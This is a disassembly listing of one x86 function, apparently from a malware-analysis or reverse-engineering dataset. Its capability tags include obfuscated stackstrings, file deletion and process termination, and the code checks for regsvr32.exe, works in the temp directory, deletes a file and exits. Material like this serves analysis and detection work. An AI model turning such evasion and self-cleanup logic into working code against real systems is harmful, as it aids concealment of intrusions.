Function at 0x401700
Capabilities:
Contain obfuscated stackstrings
Delete file
Get common file path
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x43c8c3
mov eax, dword fs:[0]
push eax
sub esp, 0x374
mov eax, dword [0x452550]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x447f1c
call fcn.00413860
add esp, 4
test eax, eax
je 0x401768
push ecx
mov ecx, esp
mov dword [ebp - 0x2ec], esp
push 0x447f28
call fcn.004046f0
mov dword [ebp - 0x378], eax
call fcn.00413d40
add esp, 4
push 0x320
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.regsvr32.exe
call fcn.00413860
add esp, 4
test eax, eax
je 0x401784
push 0x320
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp - 0x224]
call fcn.00403ba0
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x21c]
call fcn.00403ba0
mov byte [ebp - 4], 1
lea eax, [ebp - 0x224]
push eax
push ecx
mov ecx, esp
mov dword [ebp - 0x380], esp
push 0x447f44
call fcn.004046f0
mov dword [ebp - 0x2f4], eax
push SysReAllocStringLen
call fcn.00404b30
add esp, 0xc
mov dword [ebp - 0x2a8], eax
cmp dword [ebp - 0x2a8], 0
je 0x4017f8
lea ecx, [ebp - 0x224]
push ecx
lea ecx, [ebp - 0x21c]
call fcn.00403d20
jmp 0x401934
lea edx, [ebp - 0x26c]
push edx
call fcn.00413640
add esp, 4
mov dword [ebp - 0x2e8], eax
mov eax, dword [ebp - 0x2e8]
mov dword [ebp - 0x244], eax
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x2e4]
push ecx
call fcn.00402a70
add esp, 4
mov dword [ebp - 0x24c], eax
mov edx, dword [ebp - 0x24c]
mov dword [ebp - 0x23c], edx
mov byte [ebp - 4], 3
push 0x447f50
mov eax, dword [ebp - 0x23c]
push eax
lea ecx, [ebp - 0x264]
push ecx
call fcn.00403740
add esp, 0xc
mov dword [ebp - 0x2d0], eax
mov edx, dword [ebp - 0x2d0]
mov dword [ebp - 0x2d8], edx
mov byte [ebp - 4], 4
mov eax, dword [ebp - 0x244]
push eax
mov ecx, dword [ebp - 0x2d8]
push ecx
lea edx, [ebp - 0x2a4]
push edx
call fcn.00402df0
add esp, 0xc
mov dword [ebp - 0x2e0], eax
mov eax, dword [ebp - 0x2e0]
mov dword [ebp - 0x29c], eax
mov byte [ebp - 4], 5
push 0x447f4c
mov ecx, dword [ebp - 0x29c]
push ecx
lea edx, [ebp - 0x25c]
push edx
call fcn.00403740
add esp, 0xc
mov dword [ebp - 0x254], eax
mov eax, dword [ebp - 0x254]
mov dword [ebp - 0x2c4], eax
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x2c4]
push ecx
lea ecx, [ebp - 0x21c]
call fcn.00403d20
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x25c]
call fcn.00403d40
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x2a4]
call fcn.00403d40
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x264]
call fcn.00403d40
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x2e4]
call fcn.00403d40
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x26c]
call fcn.00403d40
push ecx
mov ecx, esp
mov dword [ebp - 0x33c], esp
lea edx, [ebp - 0x21c]
push edx
call fcn.004039e0
mov dword [ebp - 0x2fc], eax
call fcn.00413f50
add esp, 4
mov dword [ebp - 0x2ac], eax
cmp dword [ebp - 0x2ac], 0
jne 0x401a53
lea eax, [ebp - 0x294]
push eax
call fcn.00413640
add esp, 4
mov dword [ebp - 0x274], eax
mov ecx, dword [ebp - 0x274]
mov dword [ebp - 0x2cc], ecx
mov byte [ebp - 4], 7
mov edx, dword [ebp - 0x2cc]
push edx
push 0x447f58
lea eax, [ebp - 0x2bc]
push eax
call fcn.00403580
add esp, 0xc
mov dword [ebp - 0x27c], eax
mov ecx, dword [ebp - 0x27c]
mov dword [ebp - 0x2b4], ecx
mov byte [ebp - 4], 8
push 0x447f54
mov edx, dword [ebp - 0x2b4]
push edx
lea eax, [ebp - 0x28c]
push eax
call fcn.00403740
add esp, 0xc
mov dword [ebp - 0x284], eax
mov ecx, dword [ebp - 0x284]
mov dword [ebp - 0x2dc], ecx
mov byte [ebp - 4], 9
mov edx, dword [ebp - 0x2dc]
push edx
lea ecx, [ebp - 0x21c]
call fcn.00403d20
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x28c]
call fcn.00403d40
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x2bc]
call fcn.00403d40
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x294]
call fcn.00403d40
push ecx
mov ecx, esp
mov dword [ebp - 0x37c], esp
lea eax, [ebp - 0x21c]
push eax
call fcn.004039e0
mov dword [ebp - 0x304], eax
call fcn.00413f50
add esp, 4
mov byte [ebp - 0x114], 0
push 0x103
push 0
lea ecx, [ebp - 0x113]
push ecx
call fcn.00429610
add esp, 0xc
mov byte [ebp - 0x218], 0
push 0x103
push 0
lea edx, [ebp - 0x217]
push edx
call fcn.00429610
add esp, 0xc
mov dword [ebp - 0x2d4], 0x104
lea eax, [ebp - 0x114]
push eax
mov ecx, dword [ebp - 0x2d4]
push ecx
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 0x104
lea edx, [ebp - 0x218]
push edx
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.KERNEL32.dll_GetLongPathNameA]
lea ecx, [ebp - 0x114]
push ecx
lea ecx, [ebp - 0x220]
call fcn.004046f0
mov byte [ebp - 4], 0xa
push 0x5c
lea ecx, [ebp - 0x220]
call fcn.00402bc0
push eax
push 0
lea edx, [ebp - 0x258]
push edx
lea ecx, [ebp - 0x220]
call fcn.00402c10
mov dword [ebp - 0x248], eax
mov eax, dword [ebp - 0x248]
mov dword [ebp - 0x250], eax
mov byte [ebp - 4], 0xb
mov ecx, dword [ebp - 0x250]
push ecx
lea ecx, [ebp - 0x220]
call fcn.00403d20
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x258]
call fcn.00403d40
push 0x5c
lea ecx, [ebp - 0x220]
call fcn.00402bc0
push eax
push 0
lea edx, [ebp - 0x270]
push edx
lea ecx, [ebp - 0x220]
call fcn.00402c10
mov dword [ebp - 0x260], eax
mov eax, dword [ebp - 0x260]
mov dword [ebp - 0x268], eax
mov byte [ebp - 4], 0xc
mov ecx, dword [ebp - 0x268]
push ecx
lea ecx, [ebp - 0x220]
call fcn.00403d20
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x270]
call fcn.00403d40
push ecx
mov edx, esp
mov dword [ebp - 0x344], esp
push 0x447f6c
lea eax, [ebp - 0x21c]
push eax
push edx
call fcn.00403740
add esp, 0xc
mov dword [ebp - 0x30c], eax
call fcn.00401620
add esp, 4
push 0x447f78
lea ecx, [ebp - 0x21c]
push ecx
lea edx, [ebp - 0x288]
push edx
call fcn.00403740
add esp, 0xc
mov dword [ebp - 0x278], eax
mov eax, dword [ebp - 0x278]
mov dword [ebp - 0x280], eax
mov byte [ebp - 4], 0xd
push 0
push 0
lea ecx, [ebp - 0x21c]
call fcn.004031a0
push eax
mov ecx, dword [ebp - 0x280]
call fcn.004031a0
push eax
call fcn.00412820
add esp, 0x10
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x288]
call fcn.00403d40
push 0x447f84
lea ecx, [ebp - 0x21c]
push ecx
lea edx, [ebp - 0x298]
push edx
call fcn.00403740
add esp, 0xc
mov dword [ebp - 0x290], eax
mov ecx, dword [ebp - 0x290]
call fcn.004031a0
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea ecx, [ebp - 0x298]
call fcn.00403d40
push ecx
mov ecx, esp
mov dword [ebp - 0x364], esp
push 0x447f90
call fcn.004046f0
mov dword [ebp - 0x2a0], eax
mov eax, dword [ebp - 0x2a0]
mov dword [ebp - 0x314], eax
mov byte [ebp - 4], 0xe
push ecx
mov ecx, esp
mov dword [ebp - 0x34c], esp
push 0x447f9c
lea edx, [ebp - 0x21c]
push edx
push ecx
call fcn.00403740
add esp, 0xc
mov dword [ebp - 0x31c], eax
mov byte [ebp - 4], 0xa
call fcn.00409d80
add esp, 8
push ecx
mov ecx, esp
mov dword [ebp - 0x374], esp
push 0x447fa8
call fcn.004046f0
mov dword [ebp - 0x234], eax
mov eax, dword [ebp - 0x234]
mov dword [ebp - 0x324], eax
mov byte [ebp - 4], 0xf
push ecx
mov ecx, esp
mov dword [ebp - 0x354], esp
push 0x447fb4
call fcn.004046f0
mov dword [ebp - 0x2b0], eax
mov ecx, dword [ebp - 0x2b0]
mov dword [ebp - 0x32c], ecx
mov byte [ebp - 4], 0x10
push ecx
mov edx, esp
mov dword [ebp - 0x36c], esp
push 0x447fc0
lea eax, [ebp - 0x21c]
push eax
push edx
call fcn.00403740
add esp, 0xc
mov dword [ebp - 0x334], eax
mov byte [ebp - 4], 0xa
call fcn.00409e90
add esp, 0xc
push 0x447fcc
lea ecx, [ebp - 0x228]
call fcn.004046f0
mov byte [ebp - 4], 0x11
push 0x447fd4
lea ecx, [ebp - 0x228]
call fcn.00403890
push ecx
mov ecx, esp
mov dword [ebp - 0x35c], esp
lea edx, [ebp - 0x228]
push edx
call fcn.004039e0
mov dword [ebp - 0x2b8], eax
mov eax, dword [ebp - 0x2b8]
mov dword [ebp - 0x2f0], eax
mov byte [ebp - 4], 0x12
push ecx
mov ecx, esp
mov dword [ebp - 0x2f8], esp
push 0x447fe0
call fcn.004046f0
mov dword [ebp - 0x2c0], eax
mov ecx, dword [ebp - 0x2c0]
mov dword [ebp - 0x300], ecx
mov byte [ebp - 4], 0x13
push ecx
mov edx, esp
mov dword [ebp - 0x308], esp
push 0x447fec
lea eax, [ebp - 0x21c]
push eax
push edx
call fcn.00403740
add esp, 0xc
mov dword [ebp - 0x310], eax
mov byte [ebp - 4], 0x11
call fcn.00409e90
add esp, 0xc
push ecx
mov ecx, esp
mov dword [ebp - 0x318], esp
push 0x447ffc
call fcn.004046f0
mov dword [ebp - 0x2c8], eax
mov ecx, dword [ebp - 0x2c8]
mov dword [ebp - 0x320], ecx
mov byte [ebp - 4], 0x14
push ecx
mov edx, esp
mov dword [ebp - 0x328], esp
push 0x448008
lea eax, [ebp - 0x21c]
push eax
push edx
call fcn.00403740
add esp, 0xc
mov dword [ebp - 0x330], eax
mov byte [ebp - 4], 0x11
call fcn.0040a000
add esp, 8
push ecx
mov ecx, esp
mov dword [ebp - 0x338], esp
push 0x448014
call fcn.004046f0
mov dword [ebp - 0x238], eax
mov ecx, dword [ebp - 0x238]
mov dword [ebp - 0x340], ecx
mov byte [ebp - 4], 0x15
push ecx
mov edx, esp
mov dword [ebp - 0x348], esp
push 0x44801c
lea eax, [ebp - 0x21c]
push eax
push edx
call fcn.00403740
add esp, 0xc
mov dword [ebp - 0x350], eax
mov byte [ebp - 4], 0x11
call fcn.004048f0
add esp, 8
push ecx
mov ecx, esp
mov dword [ebp - 0x358], esp
push 0x448028
call fcn.004046f0
mov dword [ebp - 0x240], eax
mov ecx, dword [ebp - 0x240]
mov dword [ebp - 0x360], ecx
mov byte [ebp - 4], 0x16
push ecx
mov edx, esp
mov dword [ebp - 0x368], esp
push 0x448030
lea eax, [ebp - 0x21c]
push eax
push edx
call fcn.00403740
add esp, 0xc
mov dword [ebp - 0x370], eax
mov byte [ebp - 4], 0x11
call fcn.004049b0
add esp, 8
push 0x44803c
lea ecx, [ebp - 0x21c]
push ecx
lea edx, [ebp - 0x22c]
push edx
call fcn.00403740
add esp, 0xc
mov byte [ebp - 4], 0x17
lea eax, [ebp - 0x230]
push eax
call fcn.00402750
add esp, 4
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0x22c]
call fcn.004031a0
push eax
lea ecx, [ebp - 0x230]
call fcn.004031a0
push eax
push 0x448048
push 0x448050
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
call fcn.00402170
push 0
call fcn.00428124
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0x230]
call fcn.00403d40
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x22c]
call fcn.00403d40
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x228]
call fcn.00403d40
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x220]
call fcn.00403d40
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x21c]
call fcn.00403d40
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x224]
call fcn.00403d40
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004279e7
mov esp, ebp
pop ebp
ret